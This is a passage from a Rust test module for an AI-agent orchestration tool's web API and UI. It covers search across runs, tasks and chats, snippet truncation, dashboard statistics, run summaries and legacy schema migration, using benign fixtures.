15898 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
15899
15900 let long = "a".repeat(120);
15901 let parts = snippet_of(&long, std::slice::from_ref(&long));
15902 assert!(hit_len(&parts) > 0, "{parts:?}");
15903 assert!(total(&parts) <= cap);
15904
15905 let ja = "あ".repeat(130);
15906 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
15907 assert!(hit_len(&parts) > 0, "{parts:?}");
15908 assert!(total(&parts) <= cap);
15909
15910 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
15912 let term = format!("ab{}", "c".repeat(100));
15913 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
15914 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
15915 assert!(total(&parts) <= cap);
15916
15917 let text = format!("{}z", "a".repeat(119));
15919 let parts = snippet_of(&text, &["a".repeat(120)]);
15920 assert_eq!(hit_len(&parts), 0, "{parts:?}");
15921 }
15922
15923 #[tokio::test]
15924 async fn search_caps_hits_and_snippet_length() {
15925 let f = Fixture::start().await;
15926 let runs = f.runs();
15927 for n in 0..(SEARCH_MAX_HITS + 5) {
15928 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
15929 }
15930 let v = f.get("/api/search?scope=runs&q=web").await.json();
15931 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
15932 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
15933 assert_eq!(v["truncated"], true);
15934 assert!(
15936 v["hits"]
15937 .as_array()
15938 .unwrap()
15939 .iter()
15940 .all(|h| h["run"]["status"] == "merged")
15941 );
15942
15943 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
15944 let parts = snippet_of(&long, &["needle".to_owned()]);
15945 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
15946 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
15947 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
15948 }
15949
15950 #[tokio::test]
15951 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
15952 let f = Fixture::start().await;
15953 let queue = f.queue();
15954 let mut t = Task::new(
15955 "short title".to_owned(),
15956 "line one\nthe hidden Armadillo detail".to_owned(),
15957 PathBuf::from("/repo/magi"),
15958 Source::Agent {
15959 run: "r1".to_owned(),
15960 node: "chat".to_owned(),
15961 },
15962 );
15963 t.last_error = Some("disk full on /tmp".to_owned());
15964 queue.put(&mut t).expect("file the task");
15965
15966 for (q, want) in [
15967 ("armadillo", 1),
15968 ("disk%20FULL", 1),
15969 ("chat", 1),
15970 ("queued", 1),
15971 ("short%20nothing", 0),
15972 ] {
15973 let v = f
15974 .get(&format!("/api/search?scope=tasks&q={q}"))
15975 .await
15976 .json();
15977 assert_eq!(v["total"], want, "{q}: {v}");
15978 }
15979 for bad in [
15980 "/api/search?scope=tasks&q=",
15981 "/api/search?scope=tasks&q=%20",
15982 "/api/search?scope=chats&q=",
15983 "/api/search?scope=chats&q=%20",
15984 "/api/search?scope=nope&q=a",
15985 "/api/search?q=a",
15986 ] {
15987 assert_eq!(f.get(bad).await.status, 400, "{bad}");
15988 }
15989 }
15990
15991 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
15993 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
15994 .expect("seat value");
15995 let turns: Vec<serde_json::Value> = turns
15996 .iter()
15997 .map(|(who, body)| {
15998 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
15999 })
16000 .collect();
16001 let doc = serde_json::json!({
16002 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16003 "status": status, "turns": turns,
16004 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16005 "seat": seat,
16006 });
16007 let dir = f.home.path().join("talks");
16008 std::fs::create_dir_all(&dir).expect("talks dir");
16009 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16010 }
16011
16012 #[tokio::test]
16013 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16014 let f = Fixture::start().await;
16015 write_talk(
16016 &f,
16017 "20260901-000001-aaaa",
16018 "open",
16019 &[
16020 (
16021 "operator",
16022 "\n Why does the Pangolin cache expire?\nsecond line",
16023 ),
16024 ("agent", "Because the TTL is thirty seconds."),
16025 ],
16026 );
16027 write_talk(
16028 &f,
16029 "20260901-000002-bbbb",
16030 "closed",
16031 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16032 );
16033 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16034
16035 let search = |q: &'static str| {
16036 let f = &f;
16037 async move {
16038 f.get(&format!("/api/search?scope=chats&q={q}"))
16039 .await
16040 .json()
16041 }
16042 };
16043
16044 let v = search("PANGOLIN").await;
16045 assert_eq!(v["scope"], "chats");
16046 assert_eq!(v["total"], 1, "{v}");
16047 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16048 assert_eq!(v["hits"][0]["field"], "title");
16049 assert_eq!(v["unreadable"], 1, "{v}");
16050 let marked: Vec<&str> = v["hits"][0]["snippet"]
16051 .as_array()
16052 .unwrap()
16053 .iter()
16054 .filter(|p| p["hit"] == true)
16055 .map(|p| p["text"].as_str().unwrap())
16056 .collect();
16057 assert_eq!(marked, ["Pangolin"]);
16058
16059 let v = search("zebra").await;
16061 assert_eq!(v["total"], 1, "{v}");
16062 assert_eq!(v["hits"][0]["field"], "agent");
16063 assert_eq!(search("pangolin%20thirty").await["total"], 1);
16065 assert_eq!(search("pangolin%20zebra").await["total"], 0);
16066 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16068 assert_eq!(search(q).await["total"], 0, "{q}");
16069 }
16070 assert_eq!(search("second").await["hits"][0]["field"], "operator");
16072 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16074
16075 let v = f.get("/api/search?scope=nope&q=a").await;
16076 assert_eq!(v.status, 400);
16077 assert!(
16078 v.body.contains("scope must be runs, tasks or chats"),
16079 "{}",
16080 v.body
16081 );
16082 }
16083
16084 #[test]
16085 fn a_question_card_links_a_task_id_to_the_task_page() {
16086 let start = APP_JS
16087 .find("function updateAskCard(")
16088 .expect("updateAskCard exists");
16089 let body = &APP_JS[start..];
16090 let body = &body[..body.find("\n}\n").expect("function end")];
16091 assert!(body.contains("question.run_is_task"));
16092 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16093 assert!(body.contains("`#/runs/${question.run}`"));
16094 assert!(body.contains("\"task\" : \"run\""));
16095 }
16096
16097 #[test]
16098 fn plain_text_message_surfaces_go_through_linkify() {
16099 assert!(APP_JS.contains("function linkify("));
16100 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16101 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16102 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16103 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16104 assert!(!APP_JS.contains("innerHTML = text"));
16105 }
16106
16107 #[test]
16108 fn implementation_rate_views_keep_independent_samples() {
16109 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16110 let a = stats::AgentStats {
16111 competitive_entered: competitive_n,
16112 competitive_wins: usize::from(competitive_n > 0),
16113 solo_entered: solo_n,
16114 solo_adopted: 2 * usize::from(solo_n > 0),
16115 ..Default::default()
16116 };
16117 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16118 for (key, n, numerator) in [
16119 ("competitive_win_rate", competitive_n, a.competitive_wins),
16120 ("solo_adoption_rate", solo_n, a.solo_adopted),
16121 ] {
16122 if n == 0 {
16123 assert!(v[key].is_null());
16124 } else {
16125 assert_eq!(v[key]["denominator"], n);
16126 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16127 }
16128 }
16129 }
16130 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16131 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16132 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16133 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16134 }
16135
16136 #[test]
16137 fn stats_bars_share_one_id_keyed_plan() {
16138 let start = APP_JS
16139 .find("function statsBarRows(")
16140 .expect("statsBarRows exists");
16141 let body = &APP_JS[start..];
16142 let body = &body[..body.find("\n}\n").expect("function end")];
16143 assert!(body.contains("statsBarPlan(rows)"));
16144 assert!(body.contains("statsAgentTone(row.agent)"));
16145 assert!(!body.contains("candTone(i)"));
16146 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16147 for root in [
16148 "stats-agents-bars",
16149 "stats-solo-bars",
16150 "stats-reviewers-bars",
16151 ] {
16152 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16153 }
16154 }
16155
16156 #[test]
16157 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16158 let start = APP_JS
16159 .find("function renderStatsReviewerScatter(")
16160 .expect("renderStatsReviewerScatter exists");
16161 let body = &APP_JS[start..];
16162 let body = &body[..body.find("\n}\n").expect("function end")];
16163 assert!(body.contains("statsScatterPlan(reviewers)"));
16164 assert!(body.contains("statsAgentTone(d.agent)"));
16165 assert!(APP_JS.contains("function statsScatterPlan("));
16166 assert!(
16167 APP_JS.contains("d.submitted < STATS_LOW_N")
16168 || APP_JS.contains("r.submitted < STATS_LOW_N")
16169 );
16170 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16171 assert!(APP_CSS.contains(".precision-scatter"));
16172 }
16173
16174 #[test]
16175 fn advisor_reflection_is_drawn_as_stacked_segments() {
16176 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16177 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16178 let html = include_str!("../assets/ui/index.html");
16179 assert!(html.contains("Approximate"));
16180 for label in ["reflected strongly", "faint", "no proposal"] {
16181 assert!(html.contains(label));
16182 }
16183 let css = include_str!("../assets/ui/app.css");
16184 for c in ["refl-strong", "refl-faint", "refl-absent"] {
16185 assert!(css.contains(&format!(".{c} {{")));
16186 }
16187 }
16188
16189 #[test]
16190 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16191 assert!(APP_JS.contains("function statsDailyPlan("));
16192 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16193 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16194 }
16195
16196 #[test]
16197 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16198 let start = APP_JS
16199 .find("function scheduleSearch(")
16200 .expect("scheduleSearch exists");
16201 let body = &APP_JS[start..];
16202 let body = &body[..body.find("\n}\n").expect("function end")];
16203 assert!(body.contains("s.seq += 1"));
16204 }
16205
16206 #[tokio::test]
16211 async fn stats_runs_unreadable_matches_health() {
16212 let f = Fixture::start().await;
16213 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16214 let broken = f.runs().join("20260902-140502-bad");
16215 std::fs::create_dir_all(&broken).expect("run dir");
16216 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16217
16218 let stats = f.get("/api/stats").await;
16219 let health = f.get("/api/health").await;
16220
16221 assert_eq!(stats.status, 200);
16222 assert_eq!(stats.json()["totals"]["runs"], 1);
16223 assert_eq!(stats.json()["runs_unreadable"], 1);
16224 assert_eq!(
16225 stats.json()["runs_unreadable"],
16226 health.json()["runs_unreadable"],
16227 "the dashboard and /api/health must never disagree about how many \
16228 runs could not be read"
16229 );
16230 }
16231
16232 #[tokio::test]
16233 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
16234 let f = Fixture::start().await;
16235 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16236 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
16237 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
16238
16239 let totals = &f.get("/api/stats").await.json()["totals"];
16240 assert_eq!(totals["runs"], 3);
16241 assert_eq!(totals["merged"], 1);
16242 assert_eq!(totals["stalled"], 1);
16243 assert_eq!(totals["in_progress"], 1);
16244 assert_eq!(totals["blocked"], 0);
16247 assert_eq!(totals["ready"], 0);
16248 }
16249
16250 #[tokio::test]
16251 async fn stats_advisors_report_proposals_and_reflection() {
16252 use crate::advise::{Advice, AdvisorRecord, Reflection};
16253 use crate::verdict::Proposal;
16254
16255 let f = Fixture::start().await;
16256 let mut state = RunState::new(
16257 PathBuf::from("/repo/magi"),
16258 "main".to_owned(),
16259 "0123456789abcdef".to_owned(),
16260 "task".to_owned(),
16261 Config::default(),
16262 );
16263 state.id = "20260902-140501-a".to_owned();
16264 state.status = RunStatus::Merged;
16265 state.advice = Some(Advice {
16266 records: vec![
16267 AdvisorRecord {
16268 seat: "advisor-1".to_owned(),
16269 agent: "alpha".to_owned(),
16270 proposal: Some(Proposal {
16271 approach: "do it".to_owned(),
16272 key_tradeoff: "speed over memory".to_owned(),
16273 risks: Vec::new(),
16274 touches: Vec::new(),
16275 why_not_naive: "breaks under load".to_owned(),
16276 }),
16277 error: None,
16278 duration_ms: 0,
16279 reflection: Reflection::Strong,
16280 },
16281 AdvisorRecord {
16282 seat: "advisor-2".to_owned(),
16283 agent: "alpha".to_owned(),
16284 proposal: None,
16285 error: Some("timed out".to_owned()),
16286 duration_ms: 0,
16287 reflection: Reflection::Absent,
16288 },
16289 ],
16290 synthesis: Some("blended brief".to_owned()),
16291 });
16292 let dir = f.runs().join(&state.id);
16293 std::fs::create_dir_all(&dir).expect("run dir");
16294 std::fs::write(
16295 dir.join("run.json"),
16296 serde_json::to_string_pretty(&state).expect("serialize run"),
16297 )
16298 .expect("write run.json");
16299
16300 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
16302 let alpha = advisors
16303 .as_array()
16304 .expect("an array")
16305 .iter()
16306 .find(|a| a["agent"] == "alpha")
16307 .expect("alpha row");
16308 assert_eq!(alpha["seated"], 2);
16309 assert_eq!(alpha["proposed"], 1);
16310 assert_eq!(alpha["absent"], 1);
16311 assert_eq!(alpha["strong"], 1);
16312 assert_eq!(alpha["faint"], 0);
16313 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
16314 }
16315
16316 #[tokio::test]
16317 async fn stats_hides_agents_outside_the_roster_unless_all() {
16318 use crate::run::Candidate;
16319 let repo = TempDir::new().expect("repo dir");
16320 std::fs::write(
16321 repo.path().join("magi.toml"),
16322 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
16323 )
16324 .expect("magi.toml");
16325 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
16326 let mut state = RunState::new(
16327 PathBuf::from("/repo/magi"),
16328 "main".to_owned(),
16329 "0123456789abcdef".to_owned(),
16330 "task".to_owned(),
16331 Config::default(),
16332 );
16333 state.id = "20260902-140501-a".to_owned();
16334 state.status = RunStatus::Merged;
16335 for (label, agent) in [('A', "keep"), ('B', "retired")] {
16336 let mut c: Candidate = serde_json::from_value(serde_json::json!({
16337 "index": 0, "label": label.to_string(), "agent": agent,
16338 "branch": "b", "worktree": "/w",
16339 }))
16340 .expect("candidate");
16341 c.label = label;
16342 state.candidates.push(c);
16343 }
16344 let dir = f.runs().join(&state.id);
16345 std::fs::create_dir_all(&dir).expect("run dir");
16346 std::fs::write(
16347 dir.join("run.json"),
16348 serde_json::to_string_pretty(&state).expect("serialize run"),
16349 )
16350 .expect("write run.json");
16351
16352 let agents_of = |v: &serde_json::Value| -> Vec<String> {
16353 v["agents"]
16354 .as_array()
16355 .expect("array")
16356 .iter()
16357 .map(|a| a["agent"].as_str().unwrap().to_owned())
16358 .collect()
16359 };
16360 let hidden = f.get("/api/stats").await.json();
16361 assert_eq!(agents_of(&hidden), ["keep"]);
16362 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
16363 assert_eq!(hidden["totals"]["runs"], 1);
16364
16365 let all = f.get("/api/stats?all=true").await.json();
16366 assert_eq!(agents_of(&all).len(), 2);
16367 assert_eq!(all["retired_hidden"], serde_json::json!([]));
16368 let keep_agent = all["agents"]
16370 .as_array()
16371 .unwrap()
16372 .iter()
16373 .find(|a| a["agent"] == "keep")
16374 .unwrap();
16375 assert_eq!(keep_agent["competitive_entered"], 1);
16376 assert_eq!(keep_agent["competitive_wins"], 0);
16377 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
16378 assert_eq!(keep_agent["solo_entered"], 0);
16379 assert_eq!(keep_agent["solo_adopted"], 0);
16380 assert!(keep_agent["solo_adoption_rate"].is_null());
16381 }
16382
16383 #[tokio::test]
16384 async fn stats_release_bumps_split_clean_from_attention() {
16385 use crate::run::ReleaseBump;
16386
16387 let f = Fixture::start().await;
16388
16389 let mut clean = RunState::new(
16390 PathBuf::from("/repo/magi"),
16391 "main".to_owned(),
16392 "0123456789abcdef".to_owned(),
16393 "task".to_owned(),
16394 Config::default(),
16395 );
16396 clean.id = "20260902-140501-a".to_owned();
16397 clean.status = RunStatus::Merged;
16398 clean.release_bump = Some(ReleaseBump {
16399 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
16400 version: Some("1.0.0".to_owned()),
16401 automerge_enabled: true,
16402 merged_directly: false,
16403 local: false,
16404 release: None,
16405 problem: None,
16406 action_required: None,
16407 });
16408
16409 let mut blocked = RunState::new(
16410 PathBuf::from("/repo/magi"),
16411 "main".to_owned(),
16412 "0123456789abcdef".to_owned(),
16413 "task".to_owned(),
16414 Config::default(),
16415 );
16416 blocked.id = "20260902-140502-b".to_owned();
16417 blocked.status = RunStatus::Merged;
16418 blocked.release_bump = Some(ReleaseBump {
16419 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
16420 version: Some("1.0.1".to_owned()),
16421 automerge_enabled: false,
16422 merged_directly: false,
16423 local: false,
16424 release: None,
16425 problem: Some("checks red".to_owned()),
16426 action_required: Some("look at the PR".to_owned()),
16427 });
16428
16429 for state in [&clean, &blocked] {
16430 let dir = f.runs().join(&state.id);
16431 std::fs::create_dir_all(&dir).expect("run dir");
16432 std::fs::write(
16433 dir.join("run.json"),
16434 serde_json::to_string_pretty(state).expect("serialize run"),
16435 )
16436 .expect("write run.json");
16437 }
16438
16439 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16440 assert_eq!(bumps["merged"], 2);
16441 assert_eq!(bumps["recorded"], 2);
16442 assert_eq!(bumps["pr_opened"], 2);
16443 assert_eq!(bumps["automerge_enabled"], 1);
16444 assert_eq!(bumps["needs_attention"], 1);
16445 assert_eq!(bumps["clean"], 1);
16446 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
16447 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
16448 }
16449
16450 #[tokio::test]
16451 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
16452 let f = Fixture::start().await;
16453 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16454
16455 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16456 assert_eq!(bumps["merged"], 1);
16457 assert_eq!(bumps["recorded"], 0);
16458 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
16461 assert_eq!(bumps["automerge_rate"], Value::Null);
16464 assert_eq!(bumps["attention_rate"], Value::Null);
16465 }
16466
16467 #[tokio::test]
16468 async fn stats_queue_counts_come_from_the_live_queue() {
16469 let f = Fixture::start().await;
16470 let q = f.queue();
16471 let mut queued = Task::new(
16472 "queued task".to_owned(),
16473 "do it".to_owned(),
16474 PathBuf::from("/repo"),
16475 Source::Human,
16476 );
16477 q.put(&mut queued).expect("put queued");
16478 let mut held = Task::new(
16479 "held task".to_owned(),
16480 "do it later".to_owned(),
16481 PathBuf::from("/repo"),
16482 Source::Human,
16483 );
16484 held.hold_machine(Some("out of attempts".to_owned()));
16485 q.put(&mut held).expect("put held");
16486
16487 let queue = f.get("/api/stats").await.json()["queue"].clone();
16488 assert_eq!(queue["queued"], 1);
16489 assert_eq!(queue["held"], 1);
16490 assert_eq!(queue["running"], 0);
16491 assert_eq!(queue["done"], 0);
16492 assert_eq!(queue["failed"], 0);
16493 assert_eq!(queue["blocked"], 0);
16494 }
16495
16496 #[tokio::test]
16497 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
16498 let f = Fixture::start().await;
16499 let stats = f.get("/api/stats").await;
16500 assert_eq!(stats.status, 200);
16501 assert_eq!(stats.json()["totals"]["runs"], 0);
16502 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
16503 assert_eq!(stats.json()["runs_unreadable"], 0);
16504 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
16505 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
16506 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
16507 assert_eq!(stats.json()["repo"], Value::Null);
16508 }
16509
16510 #[tokio::test]
16511 async fn stats_lists_every_repository_with_runs_recorded() {
16512 let f = Fixture::start().await;
16513 write_run_repo(
16514 &f.runs(),
16515 "20260902-140501-a",
16516 RunStatus::Merged,
16517 "/repos/a",
16518 );
16519 write_run_repo(
16520 &f.runs(),
16521 "20260902-140502-b",
16522 RunStatus::Merged,
16523 "/repos/a",
16524 );
16525 write_run_repo(
16526 &f.runs(),
16527 "20260902-140503-c",
16528 RunStatus::Blocked,
16529 "/repos/b",
16530 );
16531
16532 let stats = f.get("/api/stats").await;
16533 assert_eq!(stats.status, 200);
16534 assert_eq!(stats.json()["totals"]["runs"], 3);
16536 assert_eq!(stats.json()["repo"], Value::Null);
16537
16538 let repos = stats.json()["repos"].clone();
16539 let repos = repos.as_array().unwrap();
16540 assert_eq!(repos.len(), 2);
16541 assert_eq!(repos[0]["repo"], "/repos/a");
16543 assert_eq!(repos[0]["name"], "a");
16544 assert_eq!(repos[0]["runs"], 2);
16545 assert_eq!(repos[1]["repo"], "/repos/b");
16546 assert_eq!(repos[1]["runs"], 1);
16547 }
16548
16549 #[tokio::test]
16550 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
16551 let f = Fixture::start().await;
16552 write_run_repo(
16553 &f.runs(),
16554 "20260902-140501-a",
16555 RunStatus::Merged,
16556 "/repos/a",
16557 );
16558 write_run_repo(
16559 &f.runs(),
16560 "20260902-140502-b",
16561 RunStatus::Blocked,
16562 "/repos/b",
16563 );
16564
16565 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
16566 assert_eq!(stats.status, 200);
16567 assert_eq!(stats.json()["totals"]["runs"], 1);
16568 assert_eq!(stats.json()["totals"]["merged"], 1);
16569 assert_eq!(stats.json()["repo"], "/repos/a");
16570 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
16573 assert_eq!(stats.json()["runs_unreadable"], 0);
16576 }
16577
16578 #[tokio::test]
16579 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
16580 let f = Fixture::start().await;
16581 write_run_repo(
16582 &f.runs(),
16583 "20260902-140501-a",
16584 RunStatus::Merged,
16585 "/repos/a",
16586 );
16587 write_run_repo(
16588 &f.runs(),
16589 "20260902-140502-b",
16590 RunStatus::Merged,
16591 "/repos/b",
16592 );
16593
16594 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
16595 let json = f.get(uri).await.json();
16596 let daily = json["daily"].as_array().expect("daily is an array");
16597 assert_eq!(daily.len(), 30);
16598 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
16599 let mut sorted = dates.clone();
16600 sorted.sort();
16601 assert_eq!(dates, sorted);
16602 for d in daily {
16603 assert_eq!(
16604 d["merged"].as_u64().unwrap()
16605 + d["ready"].as_u64().unwrap()
16606 + d["other"].as_u64().unwrap(),
16607 d["runs"].as_u64().unwrap()
16608 );
16609 }
16610 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
16611 }
16612 }
16613
16614 #[tokio::test]
16615 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
16616 let f = Fixture::start().await;
16617 write_run_repo(
16618 &f.runs(),
16619 "20260902-140501-a",
16620 RunStatus::Merged,
16621 "/repos/a",
16622 );
16623
16624 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
16625 assert_eq!(stats.status, 404);
16626 }
16627
16628 #[tokio::test]
16629 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
16630 let f = Fixture::start().await;
16631 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
16632
16633 let summary = f.get("/api/runs").await.json();
16634 let row = &summary[0];
16635 assert_eq!(row["short"], "a1b2");
16636 assert_eq!(row["status"], "ready");
16637 assert_eq!(row["done"], true);
16638 assert_eq!(row["title"], "Add a web UI");
16639 assert_eq!(row["repo_name"], "magi");
16640 assert_eq!(row["judges"], 3);
16641 assert_eq!(row["winner"], Value::Null);
16642 assert_eq!(row["reviews"], 0);
16643
16644 let detail = f.get("/api/runs/a1b2").await;
16647 assert_eq!(detail.status, 200);
16648 assert_eq!(detail.json()["base_branch"], "main");
16649 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
16650 }
16651
16652 #[tokio::test]
16660 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
16661 let f = Fixture::start().await;
16662
16663 let mut none_run = RunState::new(
16664 PathBuf::from("/repo/magi"),
16665 "main".to_owned(),
16666 "0123456789abcdef".to_owned(),
16667 "Add a web UI".to_owned(),
16668 Config::default(),
16669 );
16670 none_run.id = "20260902-140503-none".to_owned();
16671 none_run.status = RunStatus::Ready;
16672 none_run.merge = Some(crate::run::MergeOutcome {
16673 mode: crate::config::MergeMode::None,
16674 ok: true,
16675 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
16676 empty: false,
16677 });
16678 write_state(&f.runs(), &none_run);
16679
16680 let mut pr_run = RunState::new(
16681 PathBuf::from("/repo/magi"),
16682 "main".to_owned(),
16683 "0123456789abcdef".to_owned(),
16684 "Add a web UI".to_owned(),
16685 Config::default(),
16686 );
16687 pr_run.id = "20260902-140504-prcl".to_owned();
16688 pr_run.status = RunStatus::Ready;
16689 pr_run.merge = Some(crate::run::MergeOutcome {
16690 mode: crate::config::MergeMode::Pr,
16691 ok: false,
16692 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
16693 empty: false,
16694 });
16695 write_state(&f.runs(), &pr_run);
16696
16697 let summary = f.get("/api/runs").await.json();
16698 let rows: std::collections::HashMap<&str, &Value> = summary
16699 .as_array()
16700 .expect("an array")
16701 .iter()
16702 .map(|r| (r["id"].as_str().expect("an id"), r))
16703 .collect();
16704 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
16705 assert_eq!(
16706 rows[none_run.id.as_str()]["unmerged_by_design"],
16707 true,
16708 "a mode-none Ready must be flagged in the list"
16709 );
16710 assert_eq!(
16711 rows[pr_run.id.as_str()]["unmerged_by_design"],
16712 false,
16713 "a Ready reached by a closed pull request is a different case"
16714 );
16715
16716 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
16717 assert_eq!(none_detail["status"], "ready");
16718 assert_eq!(none_detail["unmerged_by_design"], true);
16719
16720 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
16721 assert_eq!(pr_detail["unmerged_by_design"], false);
16722 }
16723
16724 #[tokio::test]
16729 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
16730 let f = Fixture::start().await;
16731 let id = "20260902-140502-bbbb";
16735 let mut state = RunState::new(
16736 PathBuf::from("/repo/magi"),
16737 "main".to_owned(),
16738 "0123456789abcdef".to_owned(),
16739 "Add a web UI".to_owned(),
16740 Config::default(),
16741 );
16742 state.id = id.to_owned();
16743 state.status = RunStatus::Judging;
16744 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
16745 let dir = f.runs().join(id);
16746 std::fs::create_dir_all(&dir).expect("run dir");
16747 std::fs::write(
16748 dir.join("run.json"),
16749 serde_json::to_string_pretty(&state).expect("serialize run"),
16750 )
16751 .expect("write run.json");
16752
16753 let cold = f.get(&format!("/api/runs/{id}")).await.json();
16759 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
16760 assert_eq!(cold["live"], "unknown", "{cold}");
16761
16762 write_daemon(f.home.path(), Timestamp::now());
16765 let warm = f.get(&format!("/api/runs/{id}")).await.json();
16766 assert_eq!(warm["live"], "live", "{warm}");
16767 }
16768
16769 #[test]
16770 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
16771 let home = tempfile::tempdir().expect("temp home");
16772 let runs = home.path().join("runs");
16773 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
16774 let mut state = RunState::new(
16775 PathBuf::from("/repo/magi"),
16776 "main".to_owned(),
16777 "0123456789abcdef".to_owned(),
16778 "Generated review context, not authored task criteria".to_owned(),
16779 Config::default(),
16780 );
16781 state.origin = origin;
16782 state.status = RunStatus::Blocked;
16783 state.driver_exited = false;
16785 state.gate_ran = true;
16786 let expected = serde_json::to_value(&state).expect("serialize current state");
16787 let mut legacy = expected.clone();
16788 legacy["schema"] = serde_json::json!(13);
16789 legacy.as_object_mut().unwrap().remove("task_instruction");
16790 let dir = runs.join(&state.id);
16791 std::fs::create_dir_all(&dir).expect("run dir");
16792 let path = dir.join("run.json");
16793 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
16794 std::fs::write(&path, &body).expect("write legacy run");
16795
16796 for loaded in [
16797 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
16798 read_run(&runs, &state.id).expect("web migration"),
16799 ] {
16800 assert_eq!(loaded.schema, crate::run::SCHEMA);
16801 assert!(loaded.task_instruction.is_none());
